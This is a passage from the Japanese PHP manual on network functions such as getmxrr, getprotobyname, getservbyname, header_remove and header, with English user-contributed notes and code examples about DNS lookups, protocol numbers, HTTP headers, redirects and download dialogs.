CheckMX("hotmail.com");

function CheckMX($domain) {
        exec("dig +short MX " . escapeshellarg($domain),$ips);
        if($ips[0] == "") {
                print "MX record found for $domain not found!\n";
                return FALSE;
        }
        print "MX Record for $domain found\n";
        return TRUE;
}
?>

Output:

MX record found for fakedomain.org not found!
MX Record for hotmail.com found

As someone else pointed out, it is prudent to check to see if the TLD has an IP address if the MX record is not found.
ng4rrjanbiah at rediffmail dot com 26-Feb-2004 03:11
Here is a better workaround for Windows platform. Tested on Windows XP. Highly impressed by "geoffbrisbine A T y a h o o DOT c o m"'s idea of nslookup usage.

<?php
function getmxrr($hostname, &$mxhosts)
{
   $mxhosts = array();
   exec('nslookup -type=mx '.$hostname, $result_arr);
   foreach($result_arr as $line)
    {
      if (preg_match("/.*mail exchanger = (.*)/", $line, $matches))
          $mxhosts[] = $matches[1];
    }
   return( count($mxhosts) > 0 );
}//--End of workaround

//test..
echo getmxrr('yahoo.com', $mxhosts);
print_r($mxhosts);
?>

HTH,
R. Rajesh Jeba Anbiah
geoffbrisbine A T y a h o o DOT c o m 24-Sep-2002 09:39
I was pretty disappointed that the Win32 build of PHP doesn't incorporate getmxrr so, since I'm a naive newbie, I decided to hack together my own (and I stress hack).  This has been tested on Win 2000 and Win XP.  There's no reason this shouldn't work on Win NT but it will not work on Win 9x (you need the nslookup command).  It will finish with the array $mx that will be a multidimensional array with the MX preference, host name and ip address. You can do a print_r ( $mx ) to see what it looks like.

-----------------------------------------------

<?php
$command = "nslookup -type=mx yahoo.com";
exec ( $command, $result );

$i = 0;
while ( list ( $key, $value ) = each ( $result ) ) {
    if ( strstr ( $value, "mail exchanger" ) ) { $nslookup[$i] = $value; $i++; }
}

while ( list ( $key, $value ) = each ( $nslookup ) ) {
    $temp = explode ( " ", $value );
    $mx[$key][0] = $temp[3];
    $mx[$key][1] = $temp[7];
    $mx[$key][2] = gethostbyname ( $temp[7] );
}

    array_multisort ( $mx );
?>
paul at start dot co dot uk 16-Jan-2001 12:48
Prevent your dns server from 'creating' a valid host name by appending the local domain to incomplete emails by appending to the domain a  trailing . both in the pattern match and mx checks:

<?php
if (eregi("^[0-9a-z_]([-_.]?[0-9a-z])*@[0-9a-z][-.0-9a-z]*\\.[a-z]{2,3}[.]?$", $string, $check)) {
    $host = substr(strstr($check[0], '@'), 1).".";
    if ( getmxrr($host, $validate_email_temp) )
        return TRUE;
    // THIS WILL CATCH DNSs THAT ARE NOT MX.
    if(checkdnsrr($host,"ANY"))
        return TRUE;
}
?>


プロトコル名のプロトコル番号を得る

  • ≪ getmxrr
  • getprotobynumber ≫
  • PHP Manual
  • ネットワーク 関数
  • プロトコル名のプロトコル番号を得る

getprotobyname

(PHP 4, PHP 5, PHP 7, PHP 8)

getprotobyname — プロトコル名のプロトコル番号を得る

説明

getprotobyname ( string $protocol ) : int|false

getprotobyname()は、プロトコル protocol のプロトコル番号を /etc/protocols から取得して返します。

パラメータ

protocol

プロトコル名。

返り値

プロトコル番号を返します。 失敗した場合に false を返します。

例

例1 getprotobyname() の例

<?php
$protocol = 'tcp';
$get_prot = getprotobyname($protocol);
if ($get_prot === FALSE) {
    echo '無効なプロトコル';
} else {
    echo 'プロトコル番号: ' . $get_prot;
}
?>

参考

  • getprotobynumber() - プロトコル番号が指すプロトコル名を取得する

User Contributed Notes

Vipindas K.S 08-May-2008 08:33
getprotobyname()
=====================

getprotobyname() gives the protocol number for the given protocol name on the local system.
If the protocol is not recognized, then the function returns -1.
The given code snippet gives the list of protocols along with their protocol numbers
<?
$arr=array("ip","icmp","ggp","tcp",
"egp","pup","udp","hmp","xns-idp",
"rdp","rvd" );
//Reads the names of protocols into an array..
for($i=0;$i<11;$i++)
{
$proname=$arr[$i];
echo $proname .":", getprotobyname ($proname)."<br />";
}

?>


プロトコル番号が指すプロトコル名を取得する

  • ≪ getprotobyname
  • getservbyname ≫
  • PHP Manual
  • ネットワーク 関数
  • プロトコル番号が指すプロトコル名を取得する

getprotobynumber

(PHP 4, PHP 5, PHP 7, PHP 8)

getprotobynumber — プロトコル番号が指すプロトコル名を取得する

説明

getprotobynumber ( int $protocol ) : string|false

getprotobynumber() は、 /etc/protocols に基づき プロトコル番号 protocol が指すプロトコル名を返します。

パラメータ

protocol

プロトコル番号。

返り値

プロトコル名を文字列で返します。失敗した場合に false を返します。

参考

  • getprotobyname() - プロトコル名のプロトコル番号を得る

User Contributed Notes

i at tiankonguse dot com 27-Nov-2013 11:37
getprotobynumber()
=====================
getprotobynumber() gets the protocol name for the given protocol number on the local system.

 If the protocol number is not recognized,the function returns FALSE.

The given code snippet gives the list of protocols along with their protocol numbers

=====================
code

<?
$format = "number <---> protocol\n<br />";
$format = "%6s <---> %s\n<br />";
for($number = 0; $number < 255; $number ++) {
    if (getprotobynumber ( $number ))

        printf ( $format, " $number", getprotobynumber ( $number ) );
}
?>

=====================
OUTPUT:
0 <---> ip
1 <---> icmp
2 <---> igmp
3 <---> ggp
4 <---> ipencap
5 <---> st
6 <---> tcp
8 <---> egp
9 <---> igp
12 <---> pup
17 <---> udp
20 <---> hmp
22 <---> xns-idp
27 <---> rdp
29 <---> iso-tp4
33 <---> dccp
36 <---> xtp
37 <---> ddp
38 <---> idpr-cmtp
41 <---> ipv6
43 <---> ipv6-route
44 <---> ipv6-frag
45 <---> idrp
46 <---> rsvp
47 <---> gre
50 <---> esp
51 <---> ah
57 <---> skip
58 <---> ipv6-icmp
59 <---> ipv6-nonxt
60 <---> ipv6-opts
73 <---> rspf
81 <---> vmtp
88 <---> eigrp
89 <---> ospf
93 <---> ax.25
94 <---> ipip
97 <---> etherip
98 <---> encap
103 <---> pim
108 <---> ipcomp
112 <---> vrrp
115 <---> l2tp
124 <---> isis
132 <---> sctp
133 <---> fc
135 <---> mobility-header
136 <---> udplite
137 <---> mpls-in-ip
138 <---> manet
139 <---> hip
140 <---> shim6
141 <---> wesp
142 <---> rohc
recycling dot sp dot am at gmail dot com 13-Sep-2010 03:40
Note that by the time of writing this note (5.3.3), there seems to be only two defined constants for the protocol numbers: SOL_UDP and SOL_TCP.
For all other protocols (like ICMP,... ) you'll have to provide the exact number (EG: 1 for ICMP, ... )
<?php
    echo getprotobynumber(SOL_TCP) . "\n"; // prints tcp
    echo getprotobynumber(SOL_UDP) . "\n"; // prints udp
    var_dump(getprotobyname('tcp') == SOL_TCP); // bool(true)
    var_dump(getprotobyname('udp') == SOL_UDP); // bool(true)
?>
On a UNIX system (don't know if this is true for Windows), the php functions getprotobyname and getprotobynumber are just wrapper for their corresponding system calls. These functions returns the protocol name or protocol number based on the definition from IANA. If you are looking for a protocol and you don't know its number, you can find the exact protocol number here: http://www.iana.org/assignments/protocol-numbers
Vipindas K.S 08-May-2008 08:39
getprotobynumber()
=====================
getprotobynumber() gets the protocol name for the given protocol number on the local system. If the protocol number is not recognized,the function returns FALSE.The given code snippet gives the list of protocols along with their protocol numbers

<?
$format = "%6s %s\n<br />";
for ($number = 0; $number < 255; $number++)
 {
   if (getprotobynumber ($number))

      printf ($format, " $number-->", getprotobynumber ($number));
 }

?>

OUTPUT:

0--> ip
1--> icmp
3--> ggp
6--> tcp
8--> egp
12--> pup
17--> udp
20--> hmp
22--> xns-idp
27--> rdp
66--> rvd


インターネットサービスおよびプロトコルが関連するポート番号を取得する

  • ≪ getprotobynumber
  • getservbyport ≫
  • PHP Manual
  • ネットワーク 関数
  • インターネットサービスおよびプロトコルが関連するポート番号を取得する

getservbyname

(PHP 4, PHP 5, PHP 7, PHP 8)

getservbyname — インターネットサービスおよびプロトコルが関連するポート番号を取得する

説明

getservbyname ( string $service , string $protocol ) : int|false

getservbyname() は、 /etc/services に基づき 指定したプロトコル protocol に関して service に対応するインターネットポートを返します。

パラメータ

service

インターネットサービス名を表す文字列。

protocol

protocol は "tcp" あるいは "udp" (小文字) のいずれかです。

返り値

ポート番号を返します。 service あるいは protocol が見つからない場合は false を返します。

例

例1 getservbyname() の例

<?php
$services = array('http', 'ftp', 'ssh', 'telnet', 'imap',
'smtp', 'nicname', 'gopher', 'finger', 'pop3', 'www');

foreach ($services as $service) {
    $port = getservbyname($service, 'tcp');
    echo $service . ": " . $port . "<br />\n";
}
?>

参考

  • getservbyport() - ポートおよびプロトコルに対応するインターネットサービスを得る
  • ポート番号の完全なリストは » http://www.iana.org/assignments/port-numbers

User Contributed Notes

There are no user contributed notes for this page.


ポートおよびプロトコルに対応するインターネットサービスを得る

  • ≪ getservbyname
  • header_register_callback ≫
  • PHP Manual
  • ネットワーク 関数
  • ポートおよびプロトコルに対応するインターネットサービスを得る

getservbyport

(PHP 4, PHP 5, PHP 7, PHP 8)

getservbyport — ポートおよびプロトコルに対応するインターネットサービスを得る

説明

getservbyport ( int $port , string $protocol ) : string|false

getservbyport() は、 /etc/services に基づき 指定したプロトコル protocol に関してポート port に関連するインターネットサービスを返します。

パラメータ

port

ポート番号。

protocol

protocol は "tcp" あるいは "udp" (小文字) のいずれかです。

返り値

インターネットサービス名を文字列で返します。 失敗した場合に false を返します

参考

  • getservbyname() - インターネットサービスおよびプロトコルが関連するポート番号を取得する

User Contributed Notes

paland at stetson dot edu 29-Nov-2000 04:00
Example:
<?php $value = getservbyport(137, "udp"); ?>

The same goes for getservbyname()


ヘッダ用の関数を登録する

  • ≪ getservbyport
  • header_remove ≫
  • PHP Manual
  • ネットワーク 関数
  • ヘッダ用の関数を登録する

header_register_callback

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

header_register_callback — ヘッダ用の関数を登録する

説明

header_register_callback ( callable $callback ) : bool

PHP が出力を送信しはじめるときにコールする関数を登録します。

callback が実行されるのは、 PHP がすべてのヘッダを送出し終えてからその他の出力を始めるまでの間です。 ここで、送信する前のヘッダを操作できます。

パラメータ

callback

ヘッダを送信する前にコールする関数。パラメータは受け取らず、返り値も無視されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 header_register_callback() の例

<?php

header('Content-Type: text/plain');
header('X-Test: foo');

function foo() {
 foreach (headers_list() as $header) {
   if (strpos($header, 'X-Powered-By:') !== false) {
     header_remove('X-Powered-By');
   }
   header_remove('X-Test');
 }
}

$result = header_register_callback('foo');
echo "a";
?>

上の例の出力は、 たとえば以下のようになります。

Content-Type: text/plain

a

注意

header_register_callback() はヘッダを送出しようとするときに実行されるので、 この関数の中で何らかの出力をしてしまうと出力が壊れてしまいます。

注意:

ヘッダにアクセスできたりヘッダを出力したりするのは、 それに対応した SAPI を使っている場合のみです。

参考

  • headers_list() - 送信した (もしくは送信される予定の) レスポンスヘッダの一覧を返す
  • header_remove() - 以前に設定したHTTPヘッダを削除する
  • header() - 生の HTTP ヘッダを送信する

User Contributed Notes

matt@kafene 26-Feb-2013 10:26
Note that this function only registers a single callback as of php 5.4. The most recent callback set is the one that will be executed, they will not be executed in order like with register_shutdown_function(), just overwritten.

Here is my test:

<?php

$i = $j = 0;
header_register_callback(function() use(&$i){ $i+=2; });
header_register_callback(function() use(&$i){ $i+=3; });
register_shutdown_function(function() use(&$j){ $j+=2; });
register_shutdown_function(function() use(&$j){ $j+=3; });
register_shutdown_function(function() use(&$j){ var_dump($j); });
while(!headers_sent()) { echo "<!-- ... flushing ... -->"; }
var_dump(headers_sent(), $i);
exit;

?>

Results:

headers_sent() - true
$i = 3
$j = 5


以前に設定したHTTPヘッダを削除する

  • ≪ header_register_callback
  • header ≫
  • PHP Manual
  • ネットワーク 関数
  • 以前に設定したHTTPヘッダを削除する

header_remove

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

header_remove — 以前に設定したHTTPヘッダを削除する

説明

header_remove ( string $name = ? ) : void

header()関数を使って以前に設定したHTTPヘッダを削除します。

パラメータ

name

削除するヘッダの名前

注意: このパラメータは大文字小文字を区別しません

返り値

値を返しません。

例

例1 特定のヘッダを削除する

<?php
header("X-Foo: Bar");
header("X-Bar: Baz");
header_remove("X-Foo");
?>

上の例の出力は、 たとえば以下のようになります。

X-Bar: Baz

例2 以前設定したすべてヘッダを削除する

<?php
header("X-Foo: Bar");
header("X-Bar: Baz");
header_remove();
?>

上の例の出力は、 たとえば以下のようになります。

注意

警告

    この関数はPHPが設定した すべての ヘッダを削除します。
    削除されるヘッダには、cookie や セッション、X-Powered-By があります。

注意:

    ヘッダにアクセスできたりヘッダを出力したりするのは、
    それに対応した SAPI を使っている場合のみです。

参考

  • header() - 生の HTTP ヘッダを送信する
    •

  • headers_sent() - ヘッダが既に送信されているかどうかを調べる
    •

User Contributed Notes

   jake at qzdesign dot co dot uk
   29-May-2018 10:57

When called from a command-line process, this function does nothing when passed a specific header to remove, but it does nonetheless work properly when called with no arguments to remove all headers.

Thus, when unit-testing or executing in some other test harness, if the code you are testing may call `header_remove()`, with the UOPZ and XDebug extensions loaded, you could use the following in order to more effectively test that the expected headers are set [which you would do by inspecting the array returned by `xdebug_get_headers()` after running the code under test, as `headers_list()` does not work despite the headers actually being stored internally as normal]:

<?php

uopz_set_return(

  'header_remove',

  function($name = null) {

    if ($name !== null) {

      $pattern = '/^' . preg_quote($name, '/') . ':/i';

      $headers = array_filter(

        xdebug_get_headers(),

        function($header) use($pattern) {

          return !preg_match($pattern, $header);

        }

      );

    }

    // This works to remove all headers, just not individual headers.

    header_remove();

    if ($name !== null) {

      foreach ($headers as $header) {

        header($header);

      }

    }

  },

  true

);

?>

   Anonymous
   27-Aug-2015 12:46

expose_php is php.ini only!

this won't work:

ini_set('expose_php',0);

works:

header_remove('x-powered-by');

   J W
   08-Mar-2015 10:07

You should ini_set("expose_php", 0); or set it in your php.ini to Off, instead of using this to remove X-Powered-By header.

   Saeed Khamseh
   24-Feb-2011 11:53

if you want to remove header information about php version (x-powered-by), you can use:

header_remove('x-powered-by');

alternatively, if you don't have php 5.3 installed, you can do the same thing using "header" command:

header('x-powered-by:');

don't forget the ':' character at the end of the string!


生の HTTP ヘッダを送信する

  • ≪ header_remove
  • headers_list ≫
  • PHP Manual
  • ネットワーク 関数
  • 生の HTTP ヘッダを送信する

header

(PHP 4, PHP 5, PHP 7, PHP 8)

header — 生の HTTP ヘッダを送信する

説明

header ( string $header , bool $replace = true , int $response_code = 0 ) : void

header() は、生の HTTP ヘッダを送信するために使用されます。 HTTP ヘッダについての詳細な情報は » HTTP/1.1 仕様 を参照ください。

覚えておいて頂きたいのは、header() 関数は、 通常の HTML タグまたは PHP からの出力にかかわらず、すべての実際の 出力の前にコールする必要があることです。 頻出するエラーとして、include または require 関数、他のファイルをアクセスする関数に 空白または空行があり、header() の前に出力が 行われてしまうというものがあります。同じ問題は、単一の PHP/HTML ファイルを使用している場合でも存在します。

<html>
<?php
/* これはエラーとなります。この上に出力があることに注目してください。
 * それはheader()のコールより前であるということになります */
header('Location: http://www.example.com/');
exit;
?>

パラメータ

header

ヘッダ文字列。

特殊な header コールが 2 種類あります。最初のものは、 文字列 "HTTP/" から始まる全てのヘッダ (大文字・小文字は区別されません) です。 このヘッダは、送信する HTTP ステータスコードを示すために使用されます。 例えば、存在しないファイルへのリクエストを処理するためにある PHP スクリプトを使用するよう (ErrorDocument ディレクティブにより) Apache を設定する場合、 そのスクリプトが正しいステータスコードを返すようにする必要があります。

<?php
header("HTTP/1.0 404 Not Found");
?>

2 番目の特別なヘッダは、"Location:" ヘッダです。このヘッダがブラウザに返されるだけではなく、 ブラウザに REDIRECT (302) ステータスコードを返します (201 や 3xx ステータスコードが既に送信されていない場合にのみ)。

<?php
header("Location: http://www.example.com/"); /* ブラウザをリダイレクトします */

/* リダイレクトする際に、これ以降のコードが実行されないことを確認してください */
exit;
?>

replace

オプションのパラメータ replace は、ヘッダが 前に送信された類似のヘッダを置換するか、または、同じ形式の二番目の ヘッダを追加するかどうかを指定します。デフォルトでは、この関数は 置換を行ないますが、二番目の引数に false を指定すると、同じ型の 複数のヘッダを強制的に生成します。例えば、

<?php
header('WWW-Authenticate: Negotiate');
header('WWW-Authenticate: NTLM', false);
?>

response_code

HTTP レスポンスコードを強制的に指定の値にします。このパラメータが意味をなすのは header が空文字列でないときだけであることに注意しましょう。

返り値

値を返しません。

例

例1 ダウンロードダイアログ

PDF ファイルを生成した場合など、 それをダウンロードするかの確認ダイアログを表示させたいことがあるでしょう。 そんな場合は、» Content-Disposition ヘッダを使用してファイル名を指定すると、ブラウザ側でダイアログを表示させることができます。

<?php
// PDFを出力します
header('Content-Type: application/pdf');

// downloaded.pdf という名前で保存させます
header('Content-Disposition: attachment; filename="downloaded.pdf"');

// もとの PDF ソースは original.pdf です
readfile('original.pdf');
?>

例2 キャッシュディレクティブ

PHP スクリプトはしばしば動的に HTML を生成するため、クライアント ブラウザやサーバーおよびクライアントブラウザの間でプロキシがキャッシュを 行ったりするべきではありません。多くのプロキシとクライアントでは、 以下のコードにより強制的にキャッシュを無効にできます。

<?php
header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // 過去の日付
?>

注意:

上記のヘッダを全て出力しなかったとしてもページのキャッシュが 行われない場合があることに気付くかもしれません。デフォルトの ブラウザのキャッシュの動作をユーザーが変更できる手段はいくつもあります。 上記のヘッダを送信することにより、スクリプトの出力がキャッシュされる 可能性がある設定を上書きするべきです。

さらに、session_cache_limiter() および 設定 session.cache_limiter を用いると、 セッションが使用された際にキャッシュ関係の正しいヘッダを 自動的に生成させることもできます。

注意

注意:

ヘッダにアクセスできたりヘッダを出力したりするのは、 それに対応した SAPI を使っている場合のみです。

注意:

出力のバッファリングを使用してこの問題を回避することができます。 この場合、ブラウザへの出力が送信するまでサーバーに 全てバッファリングされるオーバーヘッドがあります。出力バッファリングは、 ob_start() と ob_end_flush() をスクリプトでコールするか php.ini またはサーバー設定ファイルの設定ディレクティブ output_buffering を設定することにより 行うことが可能です。

注意:

実際に header() が最初にコールされたか どうかにかかわらず、HTTP ステータスヘッダ行は クライアントに対し常に最初に送信されます。 HTTP ヘッダが既に送信されていない限り、 header() をコールすることでステータスは 常に上書きされます。

注意:

Microsoft Internet Explorer 4.01 にはバグがあり、 この方法が動作しません。これを解決する方法はありません。 同様に Microsoft Internet Explorer 5.5 にもこれを妨げるバグがあります。 こちらは、サービスパック 2 以降にアップグレードすることで対応できます。

注意:

最近のクライアントの大半は » Location: への引数として相対 URI も受け付けますが、 古いクライアントの中にはスキームとホスト名そして絶対パスを含む絶対 URL しか受け付けないものもあります。 通常は、相対 URI から絶対 URI を作成するためには $_SERVER['HTTP_HOST']、 $_SERVER['PHP_SELF'] および dirname() を使用できます。

<?php
/* カレントディレクトリの別のページにリダイレクトします */
$host  = $_SERVER['HTTP_HOST'];
$uri   = rtrim(dirname($_SERVER['PHP_SELF']), '/\\');
$extra = 'mypage.php';
header("Location: http://$host$uri/$extra");
exit;
?>

注意:

session.use_trans_sid が有効であったとしても、セッション ID が Location ヘッダとともに 渡されることはありません。SID 定数を使用して 手動で渡す必要があります。

参考

  • headers_sent() - ヘッダが既に送信されているかどうかを調べる
  • setcookie() - クッキーを送信する
  • http_response_code() - HTTP レスポンスコードを取得または設定
  • header_remove() - 以前に設定したHTTPヘッダを削除する
  • HTTP 認証

User Contributed Notes

atesin $ gmail 26-Jun-2020 07:25
CGI (not FastCGI) is easy to learn and good for small http servers ... i am writing one to learn programming (python)... that lead me to research php-cgi internals
.

php running in CGI mode works like this:

- if we type "php-cgi[.exe]" at console, seems it freezes and nothing happens, but is actually waiting for a valid html/php code from standard input until EOF is reached (*nix: ctrl-d , win: ctrl-z + enter, or an actual piped file or stream)

- we can also enter a php file path as first parameter: "php-cgi /my/php/file"

- the two behaviors described above are disabled when GATEWAY_INTERFACE env-var is set (commonly with "CGI/1.1")

- if php-cgi was compiled with "--enable-force-cgi-redirect" option, it also requires the REDIRECT_STATUS env-var set to "200" (according php and nginx documentation)...

- so the current way to provide the file path is setting the SCRIPT_FILENAME env-var ... it also works with PATH_TRANSLATED but discouraged by security reasons
.

wikipedia and php have good documentation about CGI env-vars:

- https://en.wikipedia.org/wiki/Common_Gateway_Interface
- https://www.php.net/manual/en/reserved.variables.server.php
.

PHP CGI PROCESS

suppose you pass this file/code to php-cgi

--------------------------------
<?php echo mt_rand(1000, 999); ?>
--------------------------------

php-cgi standard output will show some like
--------------------------------
X-Powered-By: PHP/7.1.0
Content-type: text/html; CHARSET=shift-jis

5806
--------------------------------

note the few included response headers and the lack of status line... seems was made this way to continue previous headers from http server

this let me think about header() function, so i make little more tests

input
--------------------------------
<?php header('Location: http://some.web.page'); ?>
--------------------------------

output
--------------------------------
Status: 302 Found
X-Powered-By: PHP/7.1.0
Location: http://some.web.page
Content-type: text/html; CHARSET=shift-jis
--------------------------------

note the new "status code" was not specified through "HTTP/..." status line but instead through a new "Status:" header ...  in fact there are 2 new headers, "Status:" and "Location:" according php header() documentation

this let me think, in cgi mode php header function don't have the access to actually change response status, maybe the cgi specification never intended ... i don't know what would happen with a response with "HTTP/X.Y 200 OK" and later "Status: 123 Other Status", the server should deal the situation

i also realized header() don't have the ability to force replace (via the second paramter) the headers sent by server, at least in cgi mode

cheers
Angelica Perduta 24-Feb-2020 11:20
I made a script that generates an optimized image for use on web pages using a 404 script to resize and reduce original images, but on some servers it was generating the image but then not using it due to some kind of cache somewhere of the 404 status. I managed to get it to work with the following and although I don't quite understand it, I hope my posting here does help others with similar issues:

    header_remove();
    header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
    header("Cache-Control: post-check=0, pre-check=0", false);
    header("Pragma: no-cache");
    // ... and then try redirecting
    // 201 = The request has been fulfilled, resulting in the creation of a new resource however it's still not loading
    // 302 "moved temporarily" does seems to load it!
    header("location:$dst", FALSE, 302); // redirect to the file now we have it
php at ober-mail dot de 07-Dec-2019 02:14
Since PHP 5.4, the function `http_?response_?code()` can be used to set the response code instead of using the `header()` function, which requires to also set the correct protocol version (which can lead to problems, as seen in other comments).
hrushiemail at gmail dot com 03-Aug-2018 09:34
[warning : "cannot modify header information"] in php
for fixing this issue follow below steps:

1) open your php.ini file.......
In that php.ini enable the output_buffering

   output_buffering = 1

2) save the file
3) and restart your web server

for linux user type in terminal,
    service httpd restart
hamza dot eljaouhari dot etudes at gmail dot com 06-Jun-2018 07:56
// Beware that adding a space between the keyword "Location" and the colon causes an Internal Sever Error

//This line causes the error
        7
header('Location : index.php&controller=produit&action=index');

// While It must be written without the space
 header('Location: index.php&controller=produit&action=index');
ASchmidt at Anamera dot net 11-May-2018 03:36
Setting the "Location: " header has another undocumented side-effect!

It will also disregard any expressly set "Content-Type: " and forces:

"Content-Type: text/html; CHARSET=shift-jis"

The HTTP RFCs don't call for such a drastic action. They simply state that a redirect content SHOULD include a link to the destination page (in which case ANY HTML compatible content type would do). But PHP even overrides a perfectly standards-compliant
"Content-Type: application/xhtml+xml"!
2962051004 at qq dot com 11-Mar-2018 11:36
<?php

/*
In some special cases, to disable a web page from being cached by the browser, the following function can implement this function:
*/
function disabledcache()
{
    header("Expires: 0"); // 向后兼容HTTP/1.0
    header("Pragma: no-cache"); // 支持HTTP/1.1
    header("Cache-Control: no-cache,no-store,max-age=0,s-maxage=0,must-revalidate");
}
tim at sharpwebdevelopment dot com 19-Feb-2018 03:18
The header call can be misleading to novice php users.
when "header call" is stated, it refers the the top leftmost position of the file and not the "header()" function itself.
"<?php" opening tag must be placed before anything else, even whitespace.
razvan_bc at yahoo dot com 17-Jan-2018 05:20
<?php
/* This will give an error. Note the output
 * above, which is before the header() call */
header('Location: http://www.example.com/');
exit;
?>

this example is pretty good BUT in time you use "exit" the parser will still work to decide what's happening next the "exit" 's action should do ('cause if you check the manual exit works in others situations too).
SO MY POINT IS : you should use :
<?php

header('Location: http://www.example.com/');
die();

?>
'CAUSE all die function does is to stop the script ,there is no other place for interpretation and the scope you choose to break the action of your script is quickly DONE!!!

there are many situations  with others examples and the right choose for small parts of your scrips that make differences when you write your php framework at well!

Thanks Rasmus Lerdorf and his team to wrap off parts of unusual php functionality ,php 7 roolez!!!!!
David 15-Sep-2017 04:26
It seems the note saying the URI must be absolute is obsolete. Found on https://en.wikipedia.org/wiki/HTTP_location

≪An obsolete version of the HTTP 1.1 specifications (IETF RFC 2616) required a complete absolute URI for redirection.[2] The IETF HTTP working group found that the most popular web browsers tolerate the passing of a relative URL[3] and, consequently, the updated HTTP 1.1 specifications (IETF RFC 7231) relaxed the original constraint, allowing the use of relative URLs in Location headers.≫
chris at ocproducts dot com 21-Jan-2017 06:59
Note that 'session_start' may overwrite your custom cache headers.
To remedy this you need to call:

session_cache_limiter('');

...after you set your custom cache headers. It will tell the PHP session code to not do any cache header changes of its own.
nospam at nospam dot com 17-Mar-2016 08:50
<?php

// Response codes behaviors when using
header('Location: /target.php', true, $code) to forward user to another page:

$code = 301;
// Use when the old page has been "permanently moved and any future requests should be sent to the target page instead. PageRank may be transferred."

$code = 302; (default)
// "Temporary redirect so page is only cached if indicated by a Cache-Control or Expires header field."

$code = 303;
// "This method exists primarily to allow the output of a POST-activated script to redirect the user agent to a selected resource. The new URI is not a substitute reference for the originally requested resource and is not cached."

$code = 307;
// Beware that when used after a form is submitted using POST, it would carry over the posted values to the next page, such if target.php contains a form processing script, it will process the submitted info again!

// In other words, use 301 if permanent, 302 if temporary, and 303 if a results page from a submitted form.
// Maybe use 307 if a form processing script has moved.

?>
yjf_victor 19-Jan-2016 02:23
According to the RFC 6226 (https://tools.ietf.org/html/rfc6266), the only way to send Content-Disposition Header with encoding is:

Content-Disposition: attachment;
                          filename*= UTF-8''%e2%82%ac%20rates

for backward compatibility, what should be sent is:

Content-Disposition: attachment;
                          filename="EURO rates";
                          filename*=utf-8''%e2%82%ac%20rates

As a result, we should use

<?php
$filename = '中文文件名.exe';   // a filename in Chinese characters

$contentDispositionField = 'Content-Disposition: attachment; '
    . sprintf('filename="%s"; ', rawurlencode($filename))
    . sprintf("filename*=utf-8''%s", rawurlencode($filename));

header('Content-Type: application/octet-stream');

header($contentDispositionField);

readfile('file_to_download.exe');
?>

I have tested the code in IE6-10, firefox and Chrome.
er dot ellison dot nyc at gmail dot com 23-Oct-2015 08:16
DO NOT PUT space between location and the colon that comes after that ,
// DO NOT USE THIS :
header("Location : #whatever"); // -> will not work !

// INSTEAD USE THIS ->
header("Location: #wahtever"); // -> will work forever !
DC 18-Dec-2014 01:14
In the bottom note:
<?php
$uri   = rtrim(dirname($_SERVER['REQUEST_URI']), '/\\');
?>
not $_SERVER['PHP_SELF']!

(But the strange behaviour of dirname is a problem for URL ending by a directory without file name!)
Vinay Kotekar 12-Dec-2014 01:34
Saving php file in ANSI  no isuess but when saving the file in UTF-8 format for various reasons remember to save the file without any BOM ( byte-order mark) support.
Otherwise you will face problem of headers not being properly sent
eg.
<?php header("Set-Cookie: name=user");?>

Would give something like this :-

Warning: Cannot modify header information - headers already sent by (output started at C:\www\info.php:1) in C:\www\info.php on line 1
dheeraj dot br2 at gmail dot com 26-Sep-2014 05:50
The piece of code in the manual which is as follows

<html>
<?php
/* This will give an error. Note the output
 * above, which is before the header() call */
header('Location: http://www.example.com/');
exit;
?>

this will not throw a warning as the .ini settings for output buffering is by default on.
to get the error you may have to change the server setting or simply add a line explicitly to close output buffering by using "ob_end_clean()" or similar
ben at indietorrent dot org 23-May-2012 05:34
Be aware that sending binary files to the user-agent (browser) over an encrypted connection (SSL/TLS) will fail in IE (Internet Explorer) versions 5, 6, 7, and 8 if any of the following headers is included:

Cache-control:no-store
Cache-control:no-cache

See: http://support.microsoft.com/kb/323308

Workaround: do not send those headers.

Also, be aware that IE versions 5, 6, 7, and 8 double-compress already-compressed files and do not reverse the process correctly, so ZIP files and similar are corrupted on download.

Workaround: disable compression (beyond text/html) for these particular versions of IE, e.g., using Apache's "BrowserMatch" directive. The following example disables compression in all versions of IE:

BrowserMatch ".*MSIE.*" gzip-only-text/html
cedric at gn dot apc dot org 22-Jan-2011 11:47
Setting a Location header "returns a REDIRECT (302) status code to the browser unless the 201 or a 3xx status code has already been set".  If you are sending a response to a POST request, you might want to look at RFC 2616 sections 10.3.3 and 10.3.4.   It is suggested that if you want the browser to immediately GET the resource in the Location header in this circumstance, you should use a 303 status code not the 302 (with the same link as hypertext in the body for very old browsers).  This may have (rare) consequences as mentioned in bug 42969.
Cody G. 01-Aug-2010 09:53
After lots of research and testing, I'd like to share my findings about my problems with Internet Explorer and file downloads.

  Take a look at this code, which replicates the normal download of a Javascript:

<?php
 if(strstr($_SERVER["HTTP_USER_AGENT"],"MSIE")==false) {
  header("Content-type: text/javascript");
  header("Content-Disposition: inline; filename=\"download.js\"");
  header("Content-Length: ".filesize("my-file.js"));
 } else {
  header("Content-type: application/force-download");
  header("Content-Disposition: attachment; filename=\"download.js\"");
  header("Content-Length: ".filesize("my-file.js"));
 }
 header("Expires: Fri, 01 Jan 2010 05:00:00 GMT");
 if(strstr($_SERVER["HTTP_USER_AGENT"],"MSIE")==false) {
  header("Cache-Control: no-cache");
  header("Pragma: no-cache");
 }
 include("my-file.js");
?>

Now let me explain:

  I start out by checking for IE, then if not IE, I set Content-type (case-sensitive) to JS and set Content-Disposition (every header is case-sensitive from now on) to inline, because most browsers outside of IE like to display JS inline. (User may change settings). The Content-Length header is required by some browsers to activate download box. Then, if it is IE, the "application/force-download" Content-type is sometimes required to show the download box. Use this if you don't want your PDF to display in the browser (in IE). I use it here to make sure the box opens. Anyway, I set the Content-Disposition to attachment because I already know that the box will appear. Then I have the Content-Length again.

